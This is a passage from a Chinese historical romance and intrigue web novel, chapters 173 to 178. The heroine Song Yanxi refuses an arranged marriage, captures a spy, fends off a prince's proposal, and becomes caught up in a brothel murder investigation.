而且,他们所在的组织,就叫屠龙会。 “我不在的这些日子,你自己主意安全。若是有什么需要,尽管吩咐林昊。” 将宋颜夕送回相府之后,南宫景当夜便出了城。 当晨曦的第一缕阳光照进梧桐苑,宋颜夕伸了个懒腰。 而在两日后,她得知了一个消息。 “你说什么?姜淑萍又在替我谋划婚事?” 听到这个消息的时候,宋颜夕差点一口水喷出来。 这个姜淑萍,又抽哪门子风? “是啊姑娘,据说相爷对那人也很是满意,双方已经准备交换庚帖了。” 紫翎最近都早出晚归的,今日,是春分替她梳头。 宋颜夕看着镜中的自己,抬手理了理鬓角:“可知,是哪家公子?” “是......” 春分欲言又止,最后,还是老老实实答道:“是林泉。” “什么?” 竟然是他? 林尚书家那个被宋诚打断腿的公子。 “看来,他们是打算将我当做道歉的礼物送给林家。” 宋颜夕随意拿了根白玉花簪递到春分手中,“今日就戴这个吧。” 梳妆完毕之后,茱萸院便差人来请宋颜夕过去。 “怎么办姑娘?对方此举肯定是为了这桩婚事。” 宋颜夕缓缓起身:“一桩婚事而已,你姑娘我能拒第一桩,便能搅黄了这第二桩。” “走吧,让咱们来会一会这林尚书。” 第173章:阿贵的接头人 果然,当宋颜夕来到前厅的时候,林举鹏正在和宋章低声说着什么。 不得不说,这些在官场混久了的老油条就是“能屈能伸”,前段时间还因为那件事闹得不可开交,这才过了多久啊,就能坐下来心平气和地谈论子女的婚事了。 见到宋颜夕,宋章朝她招了招手:“彩儿来了,快来见过林尚书。” 宋颜夕“乖巧”地朝林举鹏行了个礼:“彩衣见过林尚书。” “林尚书,这便是我那二女儿了。虽然性子乖张了些,却也算懂事。” 林举鹏满意地点了点头:“宋相言重了,我看宋二姑娘倒是温婉可人,与我家那小子勘称绝配。” “既然如此,那这桩婚事,就这样定下了?” “我看可以。” 就在他们商议婚期的时候,宋颜夕却不紧不慢地说了一句:“听父亲和林大人的意思,是要替彩衣与林公子定亲?可我不喜欢瘸子。” 一声“瘸子”,直接让林举鹏黑了脸。 宋章大喝一声:“胡说什么呢?还不快向林大人道歉。” “彩衣有说错吗?当初林公子与二哥在青楼里为了争一个姑娘大打出手,二哥还把林公子的腿打断了。此事闹得沸沸扬扬,彩衣当时虽不在京中,却也听说了不少传闻。父亲难道真的要将女儿嫁给一个作风不检点,还瘸了一条腿的人吗?” 宋颜夕每说一个字,林举鹏的脸色就黑了一分。 宋章立刻安抚:“彩儿误会了,林公子的腿已经好了......” “那又如何?总之,我是不会嫁给林公子的。” 宋章一拍桌子站起来:“父母之命媒妁之言,嫁不嫁不是你说了算。” 宋颜夕将下巴微微扬起:“父亲莫不是忘了,如今彩衣可不仅仅是您的女儿。虽然义母已经身故,但战王还在,若是让战王知晓父亲将我这‘外甥女’嫁给一个纨绔子弟,定然也是不愿意的。他若是生了气,会有什么下场,父亲应该比我还清楚。” 反正那男人不在,借用一下他的名号,也不妨事吧。 “竟然拿战王压我?彩衣,我看你真是出去一趟就不知天高地厚了。你真以为,和战王府扯上关系是什么天大的好事吗?” “女儿本就不知天高地厚,父亲若是瞧不上女儿,大可将我再扔到乡下去。反正这么多年,我一个人过得也挺好的。” “你这逆女,是在责怪为父吗?” 眼看宋章和宋颜夕争吵得越来越大声,林举鹏倒是有气也无处撒了。 他看看宋章,又瞧瞧宋颜夕,暗忖: 这对父女是不是在他眼前演戏呢? ...... 茱萸院,姜淑萍一把折断手中的花:“你说什么?那死丫头当场拒婚?还和相爷吵起来了?” 嬷嬷点头:“是啊,老奴还是头一回见相爷发这么大的火。那丫头,当真是越发放肆了。” “放肆点好,她越是发疯,就衬得我的婉儿越发端庄。” 姜淑萍将花放下,起身朝门外走去:“走吧,我这个做母亲的,也是时候去关心关心我那刁蛮任性的女儿了。” 姜淑萍来到前厅的时候,林举鹏已经离开,只剩下宋颜夕和宋章在那干瞪眼。 “这是怎么了?好端端的怎么还吵起来了?” 姜淑萍走到宋颜夕身边,拉起她的手:“彩儿若是对这桩婚事不满意,我与你父亲便再为你另择他人,可莫要因此伤了父女情分!” 宋颜夕一把抽回自己的手:“母亲有这时间为我操心,不如多关心关心大姐姐,我瞧着,大姐姐倒是想嫁人得紧。尤其是那位,柳家世子。” 果然,说完这句话之后,姜淑萍脸上的假笑就挂不住了。 在她说话之前,宋章先一步开口: “怎么与你母亲说话呢?越来越不知礼数了。” 和前段时间相比,今日的宋章似乎像是吃了炸药一般,一点就炸。 宋颜夕暗暗打量着他,心道莫非是这假父亲装不下去,想要将她一脚踢开了? 很快,她又否定了这种想法。 宋章此举,一定另有谋划。 “老爷莫要动怒,彩儿就是孩子心性,咱们好好疏导便是。” 眼看姜淑萍就要上演“好母亲”戏码,宋颜夕索性不再搭理她,扔下一句话之后就离开了。 “总之,我是不会嫁给林泉的,就算要嫁人,那也得嫁给我自己喜欢的。” “姑娘,要不要我去弄死那个姓林的?” 刚回到梧桐苑,紫翎就打算拎着刀杀上林府。 宋颜夕一把拉住她:“你这风风火火的性子什么时候能改改?没事杀那姓林的作甚?” “他竟敢肖想姑娘,就该死。” “额!” 宋颜夕打量着紫翎:“小凤凰,我怎么觉得你怪怪的。” 紫翎低头看看自己:“怪吗?哪里怪?我这就改。” “你对我,似乎......” 宋颜夕摇头,“算了,你还是先去盯着咱们院子里那个鬼。我猜,他也该行动了。” 应该是她多想了,她如今在紫翎面前是玄弥的身份。或许,仅仅是因为玄弥是暗卫之首,紫翎才会对她这般。 正如宋颜夕所预料的那样,午夜时分,阿贵偷偷溜出府,和一个黑衣人接头。 “消息可靠吗?”黑衣人问。 阿贵点头:“我亲耳听见的,宋彩衣和一个野男人暗中勾结,想要找一样东西,那东西,就在定阳。” “野男人?” 黑衣人沉默片刻:“可知那男人的底细?” 阿贵摇了摇头:“我从未见过那人,但我判断,宋彩衣和那男人关系匪浅,或许,是她在外面的姘头。” 听到那两个字时,躲在暗处的紫翎差点没忍住冲出去砍了阿贵的脑袋。 宋颜夕和春分一左一右按住她,这才让她冷静下来。 黑衣人又问:“他们要找的,是什么东西?” “这个,我也不知道。但肯定对他们很重要,那个男人已经暗中派人去定州取东西,等他们取回来,咱们再伺机抢夺。” “定阳那边,我自会安排。至于宋彩衣......” 阿贵拍着胸脯保证:“大人放心,小的会继续盯着那个女人,一旦有任何风吹草动,我一定及时向您汇报。” “做得不错。” 黑衣人从怀中掏出一个钱袋子扔在阿贵手中:“这是奖励你的。事成之后,保你升官发财。” “多谢大人,多谢大人。” 阿贵喜滋滋地捧着钱袋离去。 而那黑衣人则朝相反的方向走去。 “跟上他。” 宋颜夕朝春分和紫翎比了个手势。 那黑衣人十分警觉,他们不敢跟得太近。 已经是子夜十分,那男人却朝城门口的方向走去。 原以为他要出城,却不想到了城门附近,他忽然又拐弯朝另一个方向走去。 当他走到一片林子里的时候,忽然转身朝宋颜夕几人的方向看了过来。 “跟了这么久,够有耐心的啊。” 第174章:逮住他 宋颜夕没有想到,她们的跟踪竟然就这样被发现了。 那黑衣人的话音刚落,手中的飞刀就朝她们这边飞了过来。 紫翎目光一凌,抽刀打飞了那把飞刀。 “哐~” 金属撞击声在夜色下格外明亮。 宋颜夕和春分依旧隐在暗处,紫翎则与那黑衣人缠斗在一起。 “姑娘,要不我出去帮帮紫翎吧?” 见紫翎和黑衣人不相上下,春分脸上露出担忧之色。 宋颜夕正要开口,却听见黑暗中传来一阵空气波动的声音。 “不好,那黑衣人还有同伙。” 然而下一刻,那黑衣人却被人从背后踹了一脚...... 看到那人的时候,宋颜夕扯了扯嘴角。 还以为是黑衣人的同伙,没想到是南宫景的人。 “怎么是你?你怎么在这儿?该不会,又在跟踪我吧?” 看到段恒的时候,紫翎眼中闪过不自然的神色。 段恒轻咳一声:“此时不是说这个的时候,先把这人逮了再说。” 一对二,那黑衣人顿时落了下风。 没过多久,紫翎手中的刀就架在黑衣人脖子上。 而段恒呢,则一脚踩在黑衣人胸口上。 “这俩人,配合还挺默契。” 宋颜夕和春分从黑暗中走出来之后,紫翎立刻退到宋颜夕身侧。 段恒迅速在黑衣人身上的几处穴道点了几下,然后拱手看向宋颜夕:“宋姑娘打算如何处置此人?” “阉了吧。” 轻飘飘的一句话,让在场的两个男人同时怔住。 “你不能这样对我,我可是......” “可是什么?” 宋颜夕蹲在那人面前,一双凤眸紧紧盯着他:“你是什么?” 黑衣人抿嘴不说话。 “既然不说话,那就阉了吧。”宋颜夕起身往后退了两步。 话音刚落,紫翎已经握着刀走到那黑衣人身旁。 她对着那男人的下身上下比划,似乎在思考从哪个角度下刀最好。 “不必给他留面子,怎么痛怎么来。”宋颜夕开口了。 “是!” 紫翎点头应下,抬起刀就往那人身下砍去。 结果,刀还没落下的时候,就被人抓住了手腕。 握住她手腕的,是段恒。 “你做什么?”紫翎面露不悦。 黑衣人看向段恒:“果然,还是男人心疼男人。你也觉得这女子的行为太狠了对吧?” 段恒却顺势夺过紫翎手中的刀:“这种事,怎么能劳烦姑娘动手?交给我就行。” 说是迟那时快,他反手就朝那黑衣人下身砍去。 “啊~~~” 夜空中响起一道杀猪般的叫喊声。 那把刀还没刺进黑衣人的身体,黑衣人就大喊一声晕了过去。 “就这点胆量?” 紫翎伸腿在黑衣人身上踢了踢,一脸嫌弃地从段恒手中夺回自己的刀。 “你们,应该有地方关押这个人吧?”宋颜夕看向段恒。 段恒点头:“姑娘放心,属下一定让他将知道的都交代清楚。” 解决完黑衣人之后,宋颜夕摸着夜色回了梧桐苑。 路过阿贵门前的时候,通过窗缝看见他在烛火下乐呵呵地数钱。 第二天,宋颜夕把何花叫到跟前。 “那个叫阿贵的,倒是衷心得很。我瞧着他来府里也有些日子了。何嬷嬷,不妨给他找点事做,给他个尽忠的机会。” 何花愣了一下,但很快就明白宋颜夕的意思。 “老奴这就去安排。” 她福了福身就退下了。 就在阿贵被打发去扫恭桶的时候,梧桐苑又来了一位不速之客。 看到宋婉儿的时候,宋颜夕扬了扬眉毛。 说起来,她和这位宋大小姐自从上次婚礼之后就没怎么见过面了。 “大姐姐怎么来了?阿翎,快给大姐姐看茶。” 宋颜夕热络地拉着宋婉儿坐下,那模样,就仿佛她们是关系极好的姐妹似的。 “二妹回来这么些时日,咱们姐妹俩还没好好说说话呢,今日得了空,便来看看二妹。” 宋婉儿这话说得冠冕堂皇,实则,一双眼睛却一直往她里屋瞥。 “大姐姐是在找什么呢?”宋颜夕问。 “没找什么,我只是觉得,二妹这梧桐苑太素了些。正好,姐姐那儿有上好的红珊瑚,不如,我差人去给妹妹取来?毕竟,二妹马上就要出嫁了,屋子里总是要添些喜庆的物品。” “大姐姐说笑了,彩衣何时要嫁人,我怎么不知?” “妹妹可是还在与父亲置气?那林家公子虽伤了腿,但妹妹若嫁过去,那便是正房,况且林尚书官运亨通,假以时日,林公子的身价也是水涨船高。以妹妹的身份,能觅得这样的如意郎君,已是天大的造化。” 宋颜夕端起杯子轻轻抿了一口茶:“我说大姐姐今日怎么这么好心来看我,原来,是来当说客的?既然大姐姐也觉得那林家公子是良人,不妨便收拾收拾,嫁给他得了。也省得姐姐总是惦记那些不属于你的东西。” 宋婉儿脸色一黑:“你说什么?让我嫁给那个瘸子?他也配?” 说完之后,她又觉得自己失了言。僵着一张脸坐在那里不再说话。 宋颜夕笑了笑:“你看,连你自己都瞧不上的人,凭什么认为我就会嫁?难道,就因为我不是母亲所生?” “嫡庶有别,这就是你跟我之间的差距。”宋婉儿索性不再装,“你我就打开天窗说亮话吧,这林公子,你是嫁定了。嫁过去之后,林府给你的好处,你都得孝敬母亲,不得藏私。” 宋颜夕笑得更大声了:“大姐姐,你还真是天真啊。想让我当你们的提线木偶,也不看看自己几斤几两!别说我如今也算是半个皇亲国戚,便是当初刚回相府的时候,你们也拿捏不了我。” “你什么意思?” “什么意思?不如大姐姐猜一猜,安远侯府为何会退婚呢?” 宋婉儿怒气冲冲站起来指着宋颜夕:“是你?这一切都是你干的?你为何要毁我婚事?” “毁了你婚事的不是我,是你的好母亲。你们当初看不上那个病秧子世子,将我接回来替嫁的时候怎么没想到,会搬起石头打自己的脚呢?” 宋颜夕依旧慢悠悠地饮茶:“真是可惜了,以大姐姐的才情,与柳世子可本该是郎才女貌,天作之合。如今,也只能看着柳世子另娶她人了。” 宋婉儿后退一步:“你说什么?世子要娶亲了?” “大姐姐不知道吗?我听闻,四妹妹最近可是和柳世子走得很近呢。” “宋娇娇?” “是啊,我在坊间听闻,四妹妹曾经当街示爱柳世子,世人都赞叹四妹与柳世子金童玉女呢。” 不过几句话,宋婉儿就气冲冲地离开了梧桐苑。 宋颜夕知道,她定是去找宋娇娇麻烦了。 宋娇娇刚离开不久,梧桐苑又来了一人。 看到那人的时候,宋颜夕勾了勾嘴角。 她终于也是忍不住了吗? 第175章:乐歆被关 “不请自来,二妹不会怪罪我吧?” 来的不是别人,正是宋颜夕一直想要接近的乐歆。 “大嫂说得哪里话?你能来,妹妹高兴还来不及呢。” 说着,她抬头朝门口的方向看了看:“怎么,大哥没和你一起来吗?” “他去工部上工,这几日都不回来了。我刚进府不久,除了夫君之外,在府里也没有说得上话的。我听闻二妹妹与我一样,也是从府外被接回来的。这才……” 说到这儿,她立刻捂住嘴:“对不起啊二妹,是我说错话了。我没有其他意思的……” “我知道的大嫂,其实,我和大嫂一样,在这府中也没什么朋友,大嫂若是不嫌弃彩衣名声不好,我这梧桐苑的大门随时为你打开。” 乐歆朝她笑了笑:“那,以后还请二妹多多指教啦。” 二人坐在院子里谈话,宋颜夕趁机询问她与宋钰的故事。 故事很老套,无外乎就是宋钰从山贼手中救下身受重伤的乐歆,在疗伤的过程中,二人渐生情愫。 ...... “大嫂就不想找回失去的记忆吗?或许,你的家人也在找你?”宋颜夕问。 “曾经倒也想过,但如今我已有了夫君,夫君的家人,便也是我的家人了。” 宋颜夕语气有些凉:“所以,你就为了这个男人,甘愿把自己的过去都丢了?这样的你,还是完整的你吗?” 虽然乐歆曾经背叛过她,但毕竟是这么多年的好友,宋颜夕还是下意识为乐歆的行为感到愤懑。 不为别的,只因为曾经的乐歆,骄傲得如同天上的太阳。 不论何时何地,她都是人群中最耀眼的存在。哪儿像如今这般屈居于后宅,一副柔弱可欺的模样。 乐歆不解:“二妹为何生气?你不也是夫君的家人吗?难道,二妹也觉得,我配不上夫君?” 见她一副潸然欲泣的样子,宋颜夕烦躁地揉了揉眉心:“我不是那个意思。算了算了,你爱怎样就怎样吧。” 原本,她是想通过乐歆查清楚巫黛的行动计划,如今看来,这条路是走不通了。 虽然这一次的谈话无疾而终,但乐歆似乎还挺喜欢和她聊天的,一有时间就往她院子里跑。 一来二去,竟也和院中的人混熟了。 而这一幕看在有心人眼里,却又是另一个意思。 茱萸院,姜淑萍捏紧手中的杯子:“你是说,许知意又去梧桐苑找那小蹄子了?” “是啊,据说,还在那梧桐苑中饮酒作乐呢,和那些丫头小厮混作一团,酒劲上来,都爬到墙头上去了。” “哼,果然啊,乡野之人都是一样粗鄙。你,去把许知意叫来。她既唬得钰儿非她不娶,便该知道,我们丞相府的儿媳,不是这么好当的。” 许知意当天晚上就被罚跪祠堂。消息传到宋颜夕耳中的时候,她正在研究那青红两色珠子。 “喝了几顿酒就被罚跪祠堂了?姜淑萍果真是不待见这儿媳妇。” “姑娘,咱们需要做什么吗?毕竟,大少夫人也是因为咱们才......” 宋颜夕头都没回:“主母管教儿媳,跟咱们有何关系?” “可宋夫人此举摆明是在敲打咱们,她让少夫人罚跪,不就是在暗示咱们带坏了少夫人嘛。不过是吃一顿酒,怎么就坏了规矩了?” 春分并不知乐歆的身份,只当乐歆是因为她们才被姜淑萍针对,说这话的时候,多少有些义愤填膺。 “哟,你这小丫头,就这么些日子,还真跟那位少夫人处出感情了?” “少夫人知书达理,待人温柔得很,而且啊,我有一回还看见她放生了一只受伤的鸟儿,不仅是我,咱们院里上上下下都很喜欢她呢。” 宋颜夕玩球的动作一顿:“是吗?那你可有听过,能够咬死主人的,往往是最听话的猎犬。” “姑娘,这是什么意思?难道是说,大少夫人一直都在和咱们演戏吗?那她装得未免也太像了。” “是不是装的,看下去不就知道了吗?” 她也想看看,乐歆到底是不是真的失了记忆。 往日的乐歆,可是不会让自己受一丁点委屈。 乐歆足足在祠堂跪了一天一夜,在此期间,除了喝了一碗稀粥之外,再也没有进食。 宋颜夕来到祠堂时,乐歆已经饿得快晕过去。 她蹲在地上,从怀中掏出银针对准乐歆的脖子。 只要她刺下去,这个女人立刻就会死。而且,即便是仵作验尸,也只会认为她是饿死的,没有人会怀疑到她身上。 可是当银针距离乐歆的脖子只有一寸距离的时候,宋颜夕的脑中忽然闪过往日相处的点滴。 “你当初,到底为什么要这么做?”宋颜夕喃喃自语。 “二妹,是你吗?”犹豫之间,乐歆将眼睛掀开一条缝。 宋颜夕迅速收起银针,将她搀扶起来:“听说大嫂被母亲关了禁闭,我放心不下,这才偷偷进来看看嫂子。” 搀扶的时候,她不动声色地按住乐歆的脉门,的确是虚弱无力,不像装的。 而且,她…… “关禁闭也就罢了,怎么能不给吃的呢?定然是府里的下人拿着鸡毛当令箭,我这就去找母亲。” 起身的时候,却被乐歆抓住手。 “二妹别去。” 宋颜夕不解:“为何?” “我虽进府不久,但也听说了一些事情。二妹在府中处境也不好吧,千万不要因为我,伤了和母亲的情分。” 宋颜夕眸光一冷:“你知不知道,若是再不进食,你会死。” “不过是饿几天而已,我不会死的。我答应了夫君,会在府中等他回来,等他回来,我还要给他做,他做喜欢的梅花糕呢。” “与其关心别人,还不如想想怎么保护自己。我毕竟是丞相的女儿,她便是不喜欢我,也不会对我怎么样。” 说完这句话,宋颜夕直接甩袖离去。 她是想要报仇不假。 但,对面这样的乐歆,她承认,她心软了。 出了祠堂之后,宋颜夕看向天边的月。 稚子无辜! 那就再等等吧,等乐歆生下孩子,她一定手刃仇人。 第176章:偶遇柳如风 乐歆是被抬出祠堂的。 当大夫诊断出乐歆怀有身孕的时候,姜淑萍当场挨了宋章一顿训。 “我听说,被相爷训斥之后,夫人脸都绿了呢。” “姑娘,你该不会早就知道大少夫人怀有身孕吧?怪不得那日,你不急着救人,原来是在这等着。” 梧桐苑,春分叽叽呱呱说着话,宋颜夕却显得有些心不在焉。 “姑娘,你在想什么呢?” 宋颜夕摇了摇头:“没什么。林举鹏那边,可有异动?” “自从那日姑娘拒婚之后,林举鹏似乎气得不轻,相爷几次派人上门,都被拒之门外。” “看来,我那便宜父亲还没放弃把我嫁入林家。” “楚王府那边呢?” 春分答道:“自从被关了禁闭之后,楚王府一切正常。” 宋颜夕随手在纸上写了几个字:“看来,他这是憋了大招啊。” “既然如此,咱们不妨先解决一些小喽啰。” 说完,她起身往外走。 春分立刻跟上:“姑娘要解决谁?” “当然是我父亲看上的那位,佳婿了。” 走着走着,她忽然停下脚步:“近日怎么总不见紫翎?” 春分:“她应该,是去和战王那个叫段恒的护卫,打架了吧?” “打架?” 宋颜夕眼中闪过不解:“他俩什么时候结下的深仇大恨,隔三差五就打架呢?” 春分挠头:“这个,我也不清楚啊。不过,肯定是那个段恒的错。” “有道理。” 宋颜夕继续往前走:“你找人替我去寻些草药,告诉紫翎,对付男人,不要太循规蹈矩。” “是!” 春分一脸兴奋,她也很看看,那男人拜倒在紫翎石榴裙下的样子。 “林泉现在何处?” “绮梦阁。” 当宋颜夕来到绮梦阁的时候,林泉正抱着两个美艳的姑娘听曲呢。 他左手揽着红衣姑娘的腰,右手在黄衫姑娘的腿上划过,一脸的春风得意。 “这就是宋相给姑娘挑的夫婿?果然不是什么好东西。” 此时此刻,宋颜夕和春分都做男装打扮。 她们就坐在林泉斜对面的雅座上,看着林泉的放浪行为,春分几乎要忍不住冲上去重新砍断那好不容易接上的腿骨。 宋颜夕却是脸色如常:“你气什么?左右,你家姑娘又不会真嫁给他。” “说的也是。” 说着,春分又问了一句:“既然如此,姑娘为何来此?” 宋颜夕端起眼前的酒:“自然是想看看,这位林公子身上到底有什么长处,竟然能让咱们那位相爷瞧上。” “难道不是因为相爷想和林尚书修复关系,这才牺牲姑娘吗?” 宋颜夕晃了晃酒杯:“表面上确实如此。” 但,此事不会这么简单。 “姑娘快看,那不是柳世子吗?” 顺着春风所指的方向看去,果然看到柳如风信步走进了绮梦阁。 “有意思啊!” 宋颜夕将杯子放在桌上。 清风霁月的柳如风竟然也来了绮梦阁这令人醉生梦死的烟花之所,这可真是让人大开眼界。 似乎有所感应,当宋颜夕打量着柳如风的时候,柳如风竟然也朝她这边看了过来。 短暂的视线交汇之后,柳如风踏进了二楼包厢。 “姑娘你说,柳世子怎么也会来这种地方?” 宋颜夕反问:“我们也来了,柳如风来,很奇怪?” “那不一样,咱们是为了调查林公子……姑娘的意思是,柳世子来此,也另有目的?” “谁知道呢?看,林泉也上楼了。” 林泉拥着那两个美艳女子一瘸一拐地上楼。 最后,走进了柳如风隔壁的那间包厢。 “这两个包厢之间只隔了一堵墙,你说,柳如风来这儿会不会就是来见林泉的?” “是不是,上去看看不就知道了吗?” 他们才刚走到包厢门口,正好见柳如风推门而出。 “这位公子瞧着眼熟,咱们是否在哪儿见过?”柳如风看向宋颜夕。 “我不过一介草民,世子怕是记错了。” “你认得我?” “锦心公子的名号,在上京城谁人不晓?” 柳如风指了指自己身后的包厢:“不会这么巧,兄台也订了这间包厢吧?还是说,兄台这是在,跟踪在下?” “世子说笑了,我可是比世子先来的。就算要跟踪,也是世子跟踪我才是。” “如此说来,倒是在下的不是了?”柳如风脸上始终带着笑,看起来一副云淡风轻的模样。 “为表歉意,在下请兄台吃酒,如何?” “啊?” 柳如风这跳脱的思维,宋颜夕一时之间还真没跟上。 她还没想好说辞,柳如风已经拉着她下了楼。 “姑……” 春分正要阻拦,就收到宋颜夕的眼神示意。 【区区一个柳如风我能处理,你留下来,盯着林泉。】 柳如风说是要带她吃酒,还真的就带她去了酒肆。 “我看绮梦阁的酒也不错,世子为何带我来此?” 宋颜夕闻了闻杯中之酒,没有下药。不过,这酒香味却是不如绮梦阁的。 柳如风轻抿一口酒:“绮梦阁的酒虽好,却不适合姑娘。这果酒虽淡了些,却甚是甘甜,饮之,不易醉。” 宋颜夕动作一顿,看向柳如风:“世子看出来了?” “姑娘的易容术的确高明,但,柳某虽然不才,却也读了几本书。对这易容术也略知一二。” 宋颜夕:岂止是多读了两本书啊,这位锦心公子的心,怕是比干还多了一窍。 “所以,世子特意带我来此,是有话要与我单独说?” “姑娘聪慧。” 顿了顿,柳如风又说了一句:“或许,在下应该唤你,神医?” 这下,宋颜夕确实愣住了。 这个柳如风果然不容小觑,他竟然连这个都看出来了? “上回被楚王带走,神医没伤着吧!” 三连击,宋颜夕此刻的心情,已经不能用震惊来形容了。 “不愧是锦心公子,果然什么都瞒不过你。说吧,你还知道什么?” 柳如风摇了摇头:“柳某一介书生,能知道什么啊,之所以约神医单独一叙,只是单纯地想要向你道谢。” 说吧,他还真的起身朝宋颜夕恭恭敬敬行了一个礼。 “若非神医出手相助,柳某如今怕是只剩黄土一抔了。柳如风,谢神医救命之恩。” “救命之恩就不用再提了,我当初救你也是有私心的。” 说起这个,柳如风一脸真诚地发问:“所以,神医当初让在下退了和相府的婚事,当真是因为心悦柳某吗?” “啥?” 宋颜夕一口喷出果酒。 第177章:绮梦阁案件 “你说什么?我心悦谁?”宋颜夕拔高音量。 柳如风虽然还是那副云淡风轻的模样,耳根子却是红了:“虽然这样说有些唐突,但今日好不容易遇见姑娘。心中的话,必然是要与姑娘说个清楚的。” 宋颜夕忽然有一种不好的预感:“不管你想说什么,都给我……” 还没说完,就听见柳如风的声音在耳边炸开:“姑娘若是不弃,柳某愿三媒六聘,娶姑娘为妻,一生一世,白首不离。” 这一波操作,直接把宋颜夕干蒙了。 好端端的,怎么还求上亲了? “我是不会嫁给你的。”几乎是下意识,宋颜夕脱口而出。 柳如风脸上的表情僵住:“为何?你不是心悦我吗?” “你哪只眼睛看出来我心悦你了?” 柳如风掰着手指头开始数:“首先,姑娘你不嫌弃在下重病之时相貌丑陋,每每贴身照顾,又不收诊金,只让我退了和宋家千金的婚事。其次,姑娘守在柳某常去的那家面摊,便是为了和我偶遇吧?还有方才,你见我进了绮梦阁包厢便急着上楼,想必也是为了阻止在下做出混账事。姑娘放心,柳某一生清白,若非见姑娘进了那地方,是玩玩不会踏进绮梦阁一步的。” 宋颜夕的脸彻底垮了下来:“所以,你进绮梦阁,是为了我?” “这是自然!” 柳如风将桌上的糕点往她面前推了推:“虽不知姑娘为何去那烟花之地,但,柳某还是要劝一句,那地方危险得很,姑娘行事,得万分小心才行。” “我真是谢谢你啊。” 柳如风摆了摆手:“应该的应该的,毕竟,你我也算是未婚夫妻了。” 宋颜夕差点没一耳刮子扇在他脸上:“我怎么就成了你未婚妻了?” “在下的身子都被姑娘看了,姑娘不应该对我负责吗?” 说着,柳如风还朝宋颜夕腼腆一笑。 宋颜夕直接打了个哆嗦:“你别这么看着我。” 她害怕啊。 说着,她又补了一句:“而且,我何时看你身子了,我那是为你施针。在我眼里,你就只是个病人。” “那面摊偶遇那次……” “你都说了是偶遇,那只是个巧合。至于今日在绮梦阁,那就更和你没关系了。本姑娘只是听说绮梦阁有个花魁甚是美艳,这才易容混进去瞧瞧那美人长什么模样。” 柳如风脸上闪过失望之色:“原来,是在下误会了吗?” “没错,你就是误会了。所以柳世子,你还是别把心思放在我身上了。我还有事,先走一步,谢谢你的果酒。” 离开之前,宋颜夕还回头郑重地对柳如风说了一句:“读书人,别总想着以身相许那一套,人呐,目光得放长远一些。” “长远一些吗?” 宋颜夕离开之后,柳如风一直在琢磨这句话。 等到宋颜夕走远,他终于拍了拍脑袋:“我知道了,她一定是觉得我大病初遇,无法给她保障。怪我思虑不周了。” 他像是下定了某种决心,迈着坚毅的步伐离开了酒肆。 “姑娘,你回来了?” 宋颜夕回到绮梦阁的时候,春分还守在楼下。 “林泉那边可有什么动静?” 春分摇了摇头:“进了屋之后就再也没出来,期间,也没有人进入那个房间。” “待这么久?那家伙不会醉死在里面了吧?” 宋颜夕眼中闪过疑惑之色。 这个时候,却听二楼传出一阵尖叫声。 “啊,死人了!” 宋颜夕脸色一凛,那个房间,就是林泉所在的那个包房。 林泉死了,就死在那张铺着红花瓣的床上。 死状安详,如果忽略那张灰白的脸的话,旁人只会觉得他只是昏睡过去了。 而当时伺候他的那两个绮梦阁姑娘,已经吓得脸色惨白。 其中一人直接吓晕过去,另外一个人哆哆嗦嗦地说不出一句完整的话,一时之间也问不出什么。 事情闹得很大,没过多久,大理寺就派人围住了绮梦阁。 领头的那人,正是裴子耽。 因为宋颜夕易了容,裴子耽没认出她,直接把她和春分一起扣下了。 “好端端的,怎么就死了呢?你确定,中途无人进出?”被围在一楼的角落里之后,宋颜夕和春分窃窃私语。 “确定,我一直盯着他呢。” “这就怪了。” 宋颜夕看向二楼的方向,难道,是那两个琦梦阁的姑娘下的手? “姑娘,这是不会是冲您来的吧?” 也怪不得春分会这样想,宋家和林家前脚还在商量婚事,这才过了几日啊,林泉就被杀了。 这若是传出去,宋颜夕这扫把星的骂名,怕是又要多一项“铁证”了。 “为了抹黑我而杀人?”宋颜夕摇了摇头,“我不认为自己有这么大的面子。” 但她如今和丞相、战王都有关系,若是想要通过她算计这两位,倒也不是不可能。 “会不会,是楚王?”最后两个字,春分是用口型说的。 “当务之急,还是得先查清楚林泉的死因。” 虽然她也怀疑这是楚王的手笔,但,也不排除其他可能。 “你们两个,嘀嘀咕咕说什么呢?” 正说着,一个衙役忽然走到她们面前,手中的大刀直接指向她们。 “官爷,我们没杀人,能不能放我们走啊?”正在此时,旁边有人问了一句。 那衙役顿时将刀转了方向:“有没有杀人,我们大人自会查明。老老实实在这待着,若是再交头接耳,以嫌犯论处。” 宋颜夕暗暗咋舌,这大理寺,好大的官威啊。 裴子耽先是去检查了尸体,然后又命人盘问在场的所有人。 轮到宋颜夕的时候,那衙役一脸警惕地看向她:“你说,你中途出去过?既然离开,为何又要回来?” “遇见个朋友,便一起出去喝了杯酒。”宋颜夕答道。 “琦梦阁没有酒吗?为何要去别处喝?说,是不是你和你的那位朋友合谋杀害了林公子?” 见那衙役将矛头指向宋颜夕,人群中顿时有人发声:“哦,我想起来了。我记得他们两在林公子上楼之后没多久就跟上去了,行为鬼祟,说不定,林公子真就是他们杀的。” 春分握紧拳头盯着那人:“瞎说什么呢?这琦梦阁上上下下的人那么多,凭什么指认是我们杀了人?我还说,人是你杀的呢。” “你可别胡乱给人泼脏水,我们几个可是一直在一楼,彼此可以作证的。你说你们没有杀人,可有证据?” 春分还未开口,忽然有一道声音比她更快一步:“我能证明,他们没有杀人。” 第178章:绮梦阁命案(二) 宋颜夕顺势转头看去,眉头微蹙。 不是都和他说清楚了吗?这人怎么又来了? “哟,今日这琦梦阁倒是热闹得很呐,竟然连柳世子都来了?怎么,这二人是世子的朋友?” 裴子耽原本并没有将注意力放在宋颜夕二人身上,但在见到柳如风之后,不由得多看了她们两眼。 这一看,便觉得其中一人十分眼熟。 “她们的确是我的朋友,不久之前,这位贾公子便是与我一同离开琦梦阁的。” “看不出来,柳世子还有这种爱好呢。” 裴子耽意味深长地看了柳如风一眼,眉眼间的嘲讽之意,都要溢出眼眶了。 宋颜夕几乎在那一瞬间便确认,这个裴子耽和柳如风不和。 “裴少卿怕是误会了,我与贾公子之间,只是单纯的朋友关系。不过我可以保证,在我们离开之前,林公子还活得好好的。” 裴子耽审视着他:“你如何保证?莫非,你当时还与林泉同处一室不成?” “虽未同处一室,但,柳某的包房恰好在林公子隔壁。琦梦阁的墙并不厚实,林公子与二位姑娘的打闹声,柳某还是听得清的。” “你的意思是,你在隔壁听墙角了?” 柳如风面色一红:“裴少卿,我已经说过了,是这琦梦阁的隔音不好。” 因为柳如风的加入,气氛顿时变得有些诡异起来。 